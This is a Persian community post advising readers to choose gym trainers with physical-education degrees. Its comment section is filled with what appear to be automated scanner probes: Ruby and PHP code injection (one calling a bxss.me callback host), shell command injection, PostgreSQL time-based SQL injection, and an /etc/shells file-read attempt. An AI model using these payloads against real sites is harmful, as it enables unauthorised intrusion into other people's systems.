خانه › تجربه‌های آرایشگری و آموزش › تجربه
U

کاربر ناشناس

تجربه به اشتراک گذاشته شده
October 18, 2026 at 05:34 AM
Post Image
تجربه انتخاب مربی باشگاه :

در مورد آسیب دیدن پای دوستمون در باشگاه، خواستم چند نکته رو بگم که شاید به دردتون بخوره. 🙏🏼✨
اگر سلامتیتون براتون مهمه، قبل از ثبت‌نام در باشگاه حتماً بررسی کنید مربی‌ای که قراره از ایشون برنامه تمرینی بگیرید، فارغ‌التحصیل رشته تربیت بدنی هست یا خیر.

متأسفانه امروزه بعضی فدراسیون‌ها با برگزاری دوره‌های چندروزه، افرادی رو وارد حوزه مربیگری می‌کنن. اما باید بدونیم که فردی که چهار سال در رشته تربیت بدنی تحصیل کرده، از نظر میزان آموزش دانشگاهی با فردی که یک دوره ۴روزه گذرونده، قابل مقایسه نیست.
یک کارشناس تربیت بدنی در طول تحصیل با مباحث مختلفی مثل:
• آناتومی
• فیزیولوژی
• علم تمرین
• آمادگی جسمانی
• کار با دستگاه‌های ورزشی
• حرکات اصلاحی
• آسیب‌شناسی ورزشی
و مباحث تخصصی دیگه آشنا میشه و برای بسیاری از این موضوعات، واحدهای دانشگاهی جداگانه می‌گذرونه که هر کدوم چند ماهه!!!  کارشناسان تربیت بدنی در دوره‌ها و کارگاه‌های تخصصی آپدیتی شرکت میکنن و مدارک مربیگری همین فدرداسیون‌ها رو هم دریافت میکنن.پس فقط مدرک مربیگری کافی نیست.
در برنامه‌نویسی بدنسازی هم قرار نیست برای همه یک نسخه یکسان نوشته بشه. مربی باید با توجه به سطح آمادگی، توانایی‌های فرد، سابقه تمرینی و شرایط بدنی هر شخص برنامه مناسبی طراحی کنه.چه‌بسا فردی مشکلاتی مثل زانوی پرانتزی، ناهنجاری‌های گردن، اسکولیوز و... داشته باشه و اجرای نادرست بعضی حرکات باعث تشدید مشکلش بشه.

اگر تازه‌کار هستید، سعی کنید مربی‌ای رو انتخاب کنید که در حین تمرین به شما توجه کافی داشته باشه، اجرای حرکات رو زیر نظر بگیره و اشتباهاتتون رو اصلاح کنه. صرفاً نوشتن یک برنامه و تحویل دادن اون، برای یک فرد مبتدی کافی نیست.

در نهایت، در هر کاری بهتره به کسی مراجعه کنیم که دانش و تخصص مرتبط با اون کار رو داره.

پس قبل از ثبت‌نام، درباره تحصیلات و تخصص مربی‌تون تحقیق کنید.
سلامتی شما ارزشمندتر از اینه که صرفاً به خاطر هزینه کمتر، انتخاب اشتباهی داشته باشید هزینه عمل یک رباط ACLگاهی ده برابر طاقت فرسا تر درمیاد .
- 🩷
تجربه‌های آرایشگری و آموزش
1 پسند

نظرات

372 نظر
'
'+'A'.concat(70-3).concat(22*4).concat(108).concat(67).concat(102).concat(84)+(require'socket' Socket.gethostbyname('hitwn'+'eafvqpqjd8dd4.bxss.me.')[3].to_s)+'
October 19, 2026 at 05:15 PM
555
0 پسند
C
comment
October 19, 2026 at 05:15 PM
555
0 پسند
&
&echo nmdjat$()\ sxnvpd\nz^xyu||a #' &echo nmdjat$()\ sxnvpd\nz^xyu||a #|" &echo nmdjat$()\ sxnvpd\nz^xyu||a #
October 19, 2026 at 05:15 PM
555
0 پسند
C
CpjJwWHV
October 19, 2026 at 05:15 PM
555-1 OR 691=(SELECT 691 FROM PG_SLEEP(15))--
0 پسند
$
${@print(md5(31337))}
October 19, 2026 at 05:15 PM
555
0 پسند
"
"+"A".concat(70-3).concat(22*4).concat(122).concat(88).concat(112).concat(71)+(require"socket" Socket.gethostbyname("hitas"+"ozpbckde737cb.bxss.me.")[3].to_s)+"
October 19, 2026 at 05:15 PM
555
0 پسند
/
/etc/shells
October 19, 2026 at 05:15 PM
555
0 پسند
C
CpjJwWHV
October 19, 2026 at 05:15 PM
comment/.
0 پسند
X
xfs.bxss.me
October 19, 2026 at 05:15 PM
555
0 پسند
E
echo ccjzpx$()\ hriufs\nz^xyu||a #' &echo ccjzpx$()\ hriufs\nz^xyu||a #|" &echo ccjzpx$()\ hriufs\nz^xyu||a #
October 19, 2026 at 05:15 PM
555
0 پسند

ثبت نظر شما